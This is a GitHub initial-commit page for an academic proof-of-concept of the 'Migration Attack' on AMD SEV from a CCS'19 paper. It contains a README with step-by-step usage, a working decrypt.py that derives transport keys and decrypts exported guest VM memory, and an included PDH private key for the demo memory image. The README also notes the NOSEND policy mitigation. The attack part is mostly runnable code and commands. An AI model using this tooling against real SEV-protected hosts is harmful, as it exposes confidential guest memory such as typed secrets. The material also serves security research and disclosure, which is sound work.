Skip to content

Commit 3d2b841

Browse files
RobertBuhrenRobertBuhren
committed
* Initial commit
0 parents  commit 3d2b841

6 files changed

Lines changed: 806 additions & 0 deletions

File tree

‎README.md‎

Lines changed: 148 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,148 @@
1+
## Introduction
2+
This repository contains a proof-of-concept implementation of the "Migration Attack" proposed in our paper:
3+
4+
*Insecure Until Proven Updated: Analyzing AMD SEV's Remote Attestation*
5+
6+
The paper will be presented at the [*26th ACM Conference on Computer and Communications Security*](https://sigsac.org/ccs/CCS2019/) (CCS'19) in London.
7+
You can find a pre-print version of the paper [here](https://arxiv.org/abs/1908.11680).
8+
9+
In the paper we show that we were able to obtain the `chip-endorsement-key` (CEK) from AMD EPYC cpus of the Naples series.
10+
This key plays a central role in the trust model of the *Secure Encrypted Virtualization* technology from AMD.
11+
Based on the key extraction, we propose attacks against AMD SEV protected virtual machines that allow an attacker to fully circumvent the protection granted by the SEV technology.
12+
13+
Please refer to our [paper](https://arxiv.org/abs/1908.11680) for the details.
14+
15+
This proof-of-concept implementation consists of the following files:
16+
17+
Filename | Description
18+
-------- | -----------
19+
`Readme.md` | This file.
20+
`launch-qemu.sh` | Script used to launch the VM.
21+
`migrate.py` | Script to start VM migration.
22+
`decrypt.py` | Script to decrypt exported VM memory.
23+
`keys/pdh_priv.pem` | PDH private key that was used to initiate VM migration of the `vm.mem` image.
24+
`keys/pdh_remote.cert` | The PDH certificate of the target host.
25+
26+
The image of encrypted guest memory used for this proof-of-concept can be found [here](TODO).
27+
28+
29+
## Background
30+
The ability to migrate virtual machines from one host to another is a crucial feature in cloud-computing.
31+
It allows to ensure e.g. the availability of virtual machines in case of failure in the host system.
32+
Migration of virtual machines requires to copy the memory content from the source host to the destination host.
33+
With the *Secure Encrypted Virtualization* (SEV) technology, the memory cannot be simply moved to another host as it is encrypted with a key that never leaves the secure processor (PSP) of the host.
34+
To allow migration with SEV in place, AMD introduced a migration scheme that allows to migrate encrypted virtual machine memory using dedicated transport keys.
35+
While the untrusted hypervisor is still responsible to copy the memory, it is still protected using keys known only by the trusted secure processors of the source and destination of the migration.
36+
37+
To perform the migration, the following steps need to be performed (simplified):
38+
39+
40+
1. The target of the migration needs to provide a valid certificate chain
41+
```
42+
PDH_target -> PEK -> CEK -> ASK -> ARK
43+
```
44+
2. The secure processor of the source host will verify the certificate chain.
45+
3. If successful, the secure processor will derive a *shared secret* using the provided *platform-diffie-hellman-key* (PDH). The PDH_source of the source platform is exported to the target platform to derive the same shared key.
46+
4. The source platform will derive several keys from the shared secret using a key derivation function:
47+
* The *master-secret*: KDF(*shared-secret*)
48+
* The *key-encryption-key* (KEK): KDF(*master-secret*)
49+
* The *key-integrity-key* (KIK): KDF(*master-secret*)
50+
5. The source platform generates *transport keys*:
51+
* The *transport-integrity-key* (TIK)
52+
* The *transport-encryption-key* (TEK)
53+
6. The source platform encrypts the TEK and TIK using the KEK and computes a MAC using the KIK. This process is referred to as *key wrapping*.
54+
7. The source platform re-encrypts the VM's memory using the TEK and exports the encrypted memory and the wrapped keys to the hypervisor.
55+
8. Using the PDH_source, the target platform can derive the same keys as in Steps 2 to 5.
56+
9. Using the derived KEK, the target platform can decrypt the TIK and TEK and then decrypt the virtual machines memory.
57+
58+
For details, please refer to the [AMD SEV API 0.22](https://developer.amd.com/wp-content/resources/55766.PDF) specification, Appendix A.
59+
60+
## Migration Attack
61+
Using an extracted `chip-endorsement-key`, an attacker can create a valid certificate chain:
62+
```
63+
PDH_target -> PEK -> CEK -> ASK -> ARK
64+
```
65+
and pose as a target for migration.
66+
To that end, the attacker creates the certificate chain and derives the KIK and KEK as described in the Steps 3 to 4.
67+
Now the attacker can decrypt the exported virtual machine memory using the decrypted TEK.
68+
69+
For the migration attack to work, the target host does not need to contain any security issues.
70+
As long as the guest policy allows migration, an attacker can extract it's memory content.
71+
A valid CEK extracted from an arbitrary AMD Epyc CPU is sufficient to mount this attack.
72+
73+
We have successfully performed this attack on a virtual machine with SEV protection in place.
74+
We were able to extract the full memory of the virtual machine including keyboard inputs that were entered over an SSH protected remote console.
75+
The target host was running the latest SEV firmware at the time of writing (SEV API 17. Build 22).
76+
We would like to emphasize that we do NOT require any security issues to be present in either the target host nor in the target virtual machine.
77+
Our attack does NOT depend on any specific guest software or services running inside a guest.
78+
To the best of our knowledge, all Epyc systems of the AMD EPYC Naples (Zen1) are affected.
79+
80+
While we don't see any obstacles to make this attack work on newer, Zen2 based systems, we are not aware of any firmware issues in that allow to extract a *chip-endorsement-key* from Zen2 based systems.
81+
The extracted CEK from Zen1 systems is not accepted by Zen2 systems.
82+
83+
The scripts in this repository contain the exact steps necessary to perform the migration attack on an SEV protected virtual machine.
84+
We also include an encrypted guest memory image and the corresponding PDH private key that allows to decrypt the memory.
85+
The required Steps are explained in the [Usage](#usage) Chapter.
86+
87+
## Mitigations
88+
SEV allows to prevent the migration of virtual machines using a policy that is defined by the guest owner.
89+
Using the `NOSEND` bit if the guest policy (See [AMD SEV API 0.22](https://developer.amd.com/wp-content/resources/55766.PDF) Chapter 3), a guest owner can prevent any migration.
90+
While this effectively prevents our attack, this also prohibits migration in case of host failures.
91+
92+
## Usage
93+
94+
### Pre-requisites
95+
1. A working SEV Setup. See [here](https://github.com/AMDESE/AMDSEV) for the required steps to enable SEV. SEV migration requires features which are not yet pushed upstream. The branches/repos used for this proof-of-concept are:
96+
* Linux kernel: https://github.com/codomania/kvm/ branch: `sev-migration-v3`
97+
* QEMU: https://github.com/codomania/qemu branch: `sev-migration-v3`
98+
* sev-tool: https://github.com/RobertBuhren/sev-tool branch: `master`
99+
100+
2. A Guest that allows migration. The `launch-qemu.sh` script sets the correct policy bits that allow migration to an SEV capable system.
101+
102+
3. The QEMU instance must accept connections via the `qmp` interface. The `launch-qemu.sh` script enables QMP on port `4444`.
103+
104+
4. An extracted CEK private key. NOTE: This key is not included in this repository. However, this repository contains the exported memory of an SEV protected virtual machine (`vm.mem`). Together with the PDH private key used for the migration (`pdh_priv.pem`), the memory can be decrypted using the `decrypt.py` script.
105+
106+
### Scripts
107+
108+
The `migrate.py` script is responsible for creating a certificate chain which is used by the target host to derive a shared secret that is used to protect the transport keys (`TIK` and `TEK`).
109+
110+
The `migrate.py` script needs to be configured before the first use. Specifically the following parameters must be provided in the beginning of the script file:
111+
112+
* The target host: IP and QMP port.
113+
* CEK_ID (optional) the ID corresponding to the extracted CEK. This is used to retrieve the signed CEK from the AMD keyserver.
114+
* HOSTFILE: The filename where the virtual memory should be exported to. The script will eventually issue the qemu command `migrate: exec > HOSTFILE`.
115+
The filename is relative to the current working directory of the target QEMU process.
116+
117+
The script further requires an extracted CEK in the PEM format as the first argument. Optionally the signed ASK and ARK can be provided.
118+
119+
Example usage:
120+
121+
```
122+
./migrate.py cek.pem cek_signed.cert ask_ark_naples.cert
123+
```
124+
or, to retrieve the certs from the AMD keyserver:
125+
126+
```
127+
./migrate.py cek.pem
128+
```
129+
130+
The script initiates the migration process and then exits. NOTE: migration with SEV is quite slow (~800 Kb/s). The script will exit after migration is initiated. To monitor the status of the migration on the host, the *qemu-monitor* should be used.
131+
132+
The `decrypt.py` script performs the actual decryption of the exported guest memory.
133+
Before the first run, the location of the `sev-tool` binary needs to be specified in the script file.
134+
135+
To decrypt the exported guest memory the script requires the private pdh that was used to initiate the migration and the public key of the target host.
136+
The `migrate.py` script saves the remote public PDH to `./pdh_remote.cert` and the local private PDH to `./pdh_priv.pem`.
137+
138+
To finally decrypt exported guest memory use:
139+
```
140+
./decrypt.py pdh_priv.pem pdh_remote.cert vm.mem
141+
```
142+
Where `vm.mem` is the encrypted virtual machine memory content.
143+
The decrypted memory content will be saved in `./out`.
144+
145+
### POC Attack
146+
147+
The target guest used for this attack contains a secret in the form of the string `InsecureUntilProvenUpdated` that was entered using an encrypted SSH console.
148+
While the string can be easily found inside the decrypted image, it is not present in the encrypted memory image.

‎decrypt.py‎

Lines changed: 191 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,191 @@
1+
import base64
2+
import sys
3+
import os
4+
import subprocess
5+
import binascii
6+
from cryptography.hazmat.primitives.serialization import load_pem_private_key
7+
from cryptography.hazmat.backends import default_backend
8+
from cryptography.hazmat.primitives.asymmetric import ec
9+
from cryptography.hazmat.primitives import hashes, hmac
10+
from cryptography.exceptions import InvalidSignature
11+
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
12+
13+
SEVTOOL = "Path to the sevtool binary that exports the KDF"
14+
15+
def swap_bytes(data):
16+
data_int = int.from_bytes(data, 'little')
17+
return (data_int).to_bytes(len(data), 'big')
18+
19+
def build_ecdsa_pubkey(qx_bytes, qy_bytes):
20+
"""Build ecdsa public key from provided curve point. Returns an
21+
EllipticCurvePublicKey object. Point must be specified by qx and qy
22+
values in little-endian byte order. Curve defaults to NIST-P384.
23+
See: AMD SEV API ver. 0.22 Chapter 4.5 and Appendix C.2"""
24+
25+
pubkey_qx = int.from_bytes(qx_bytes, 'little')
26+
pubkey_qy = int.from_bytes(qy_bytes, 'little')
27+
28+
curve = ec.SECP384R1() # NIST-P384
29+
pub_numbers = ec.EllipticCurvePublicNumbers(pubkey_qx, pubkey_qy, curve)
30+
31+
ec_pubkey = pub_numbers.public_key(default_backend())
32+
33+
return ec_pubkey
34+
35+
def derive_secret(secret,context,nonce):
36+
"""Call the sevtool key key derivation function.
37+
Returns the derived key."""
38+
# TODO: Implement in python
39+
if nonce is not None:
40+
out = subprocess.Popen([SEVTOOL,"--kdf",binascii.hexlify(secret),context,binascii.hexlify(nonce)],stdout=subprocess.PIPE)
41+
else:
42+
out = subprocess.Popen([SEVTOOL,"--kdf",binascii.hexlify(secret),context],stdout=subprocess.PIPE)
43+
44+
return binascii.unhexlify(out.stdout.readlines()[0].rstrip())
45+
46+
# Read private PDH
47+
with open(sys.argv[1], 'rb') as f:
48+
pdh_priv = load_pem_private_key(
49+
f.read(),
50+
password=None,
51+
backend=default_backend())
52+
53+
# Read remote public PDH
54+
with open(sys.argv[2],'rb') as f:
55+
remote_pdh = f.read()
56+
remote_pdh = build_ecdsa_pubkey(remote_pdh[0x14:0x14+0x48],
57+
remote_pdh[0x5c:0x5c+0x48])
58+
59+
# Open encrypted memory file
60+
with open(sys.argv[3], 'rb') as f:
61+
# TODO don't rely on hard-coded constants
62+
63+
f.seek(0x19d)
64+
policy = f.read(4)
65+
f.seek(0x1A1)
66+
pdh_len = f.read(4)
67+
68+
# Seek to the beginning of the PDH
69+
f.seek(0x1A5)
70+
pdh_len = int.from_bytes(pdh_len,'big')
71+
# pdh = f.read(pdh_len)
72+
73+
#Seek to the beginning of the session len
74+
f.seek(0x1A5 + pdh_len)
75+
session_len = int.from_bytes(f.read(4), 'big')
76+
77+
# Read session data
78+
f.seek(0x1A5 + 4 + pdh_len)
79+
session_data = f.read(session_len)
80+
81+
begin_chunk = 0x1A5 + 4 + pdh_len + session_len
82+
print(hex(begin_chunk))
83+
84+
85+
# DH Static Unified Model - Section 2.2.2 AMD SEV API
86+
print("Deriving shared secret")
87+
shared_secret = pdh_priv.exchange(ec.ECDH(), remote_pdh)
88+
89+
# Get session data
90+
nonce = session_data[:0x10]
91+
wrapped_tk = session_data[0x10:0x30]
92+
iv = session_data[0x30:0x40]
93+
hmac_tk = session_data[0x40:0x60]
94+
hmac_policy = session_data[0x60:0x80]
95+
96+
print("Deriving master secret, key-encryption-key (KEK) and key-integrity-key (KIK)")
97+
master_secret = derive_secret(shared_secret,b'sev-master-secret',nonce)
98+
kek = derive_secret(master_secret,b'sev-kek',None)
99+
kik = derive_secret(master_secret,b'sev-kik',None)
100+
101+
calc_hmac = hmac.HMAC(kik, hashes.SHA256(), backend=default_backend())
102+
103+
calc_hmac.update(wrapped_tk)
104+
105+
# Sanity check: Verify that derived kik is correct.
106+
try:
107+
calc_hmac.verify(hmac_tk)
108+
except InvalidSignature:
109+
print("ERROR, couldn't verify using kik")
110+
else:
111+
print("Verified wrapped_tk using kik")
112+
113+
114+
115+
aes = algorithms.AES(kek)
116+
decryptor = Cipher(aes,modes.CTR(iv),default_backend()).decryptor()
117+
118+
tiktek = decryptor.update(wrapped_tk) + decryptor.finalize()
119+
120+
# Get TIK and TEK
121+
tek = tiktek[:0x10]
122+
tik = tiktek[0x10:]
123+
124+
calc_hmac_pol = hmac.HMAC(tik, hashes.SHA256(), backend=default_backend())
125+
calc_hmac_pol.update(swap_bytes(policy))
126+
127+
# Sanity check: Verify that decrypted TIK is correct.
128+
try:
129+
calc_hmac_pol.verify(hmac_policy)
130+
except InvalidSignature:
131+
print("ERROR, couldn't verify policy using tik")
132+
sys.exit(-1)
133+
else:
134+
print("Verified policy using tik")
135+
136+
print("Starting to decrypt...")
137+
out = open("./out",'ab')
138+
139+
# Don't look at this code, please. It is hideous.
140+
with open(sys.argv[3],'rb') as f:
141+
while(True):
142+
# Read transport hdr
143+
f.seek(begin_chunk)
144+
hdr_size = int.from_bytes(f.read(4), 'big')
145+
if hdr_size != 0x34:
146+
break
147+
print("HDR size: %x at offset %x" % (hdr_size, f.tell()))
148+
f.seek(begin_chunk + 4)
149+
hdr = f.read(hdr_size)
150+
151+
data_flags = hdr[:4]
152+
data_iv = hdr[4:20]
153+
data_mac = hdr[0x14:0x14+0x20]
154+
f.seek(begin_chunk + 4 + hdr_size)
155+
data_size = int.from_bytes(f.read(4), 'big')
156+
if data_size != 0x1000:
157+
break
158+
print("Data size: %x at offset: %x" % (data_size,f.tell()))
159+
160+
f.seek(begin_chunk + 4 + hdr_size + 4)
161+
data = f.read(data_size)
162+
if len(data) != data_size:
163+
print("Couldn't read the full data chuck. data_size: %x len(data): %x" % (data_size, len(data)))
164+
print(" Offset in file: %x" % f.tell())
165+
break
166+
if data_size == 0:
167+
print("data_size is zero")
168+
print(" Offset in file: %x" % f.tell())
169+
break
170+
171+
aes = algorithms.AES(tek)
172+
decryptor = Cipher(aes,modes.CTR(data_iv),default_backend()).decryptor()
173+
pos = 0
174+
current_pos = f.tell()
175+
while True:
176+
f.seek(current_pos + pos)
177+
if f.read(8) == b'\x00\x00\x00\x34\x00\x00\x00\x00': # TODO: Don't assume a fixed header size of 0x34
178+
break
179+
pos += 1
180+
cur_pos = f.tell()
181+
f.seek(0,os.SEEK_END)
182+
if cur_pos >= f.tell():
183+
break
184+
f.seek(cur_pos)
185+
begin_chunk = current_pos + pos
186+
print("Begin of new chuck at %x offset: %x" % (begin_chunk, f.tell()))
187+
188+
out.write(decryptor.update(data) + decryptor.finalize())
189+
190+
191+
out.close()

‎keys/pdh_priv.pem‎

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
-----BEGIN EC PRIVATE KEY-----
2+
MIGkAgEBBDAhT77lzKiFms82jnGIQr5pu7yzEkQ+ngw2RkslZcVqyff4t/FA1gyX
3+
x92BeHZYHPygBwYFK4EEACKhZANiAAS+YVMLUdfEHtORZcx5kKnGRARiARiRgnG/
4+
e8P2NYq1PfGgYB/0WmRQBXH9JnoCtRiBXknOddC85nghoLvL7cP70vce8uyeszDS
5+
iZI0Dk7UkvmqyLZ+KBVTugZS/F451kI=
6+
-----END EC PRIVATE KEY-----

‎keys/pdh_remote.cert‎

2.04 KB
Binary file not shown.

0 commit comments

Comments
 (0)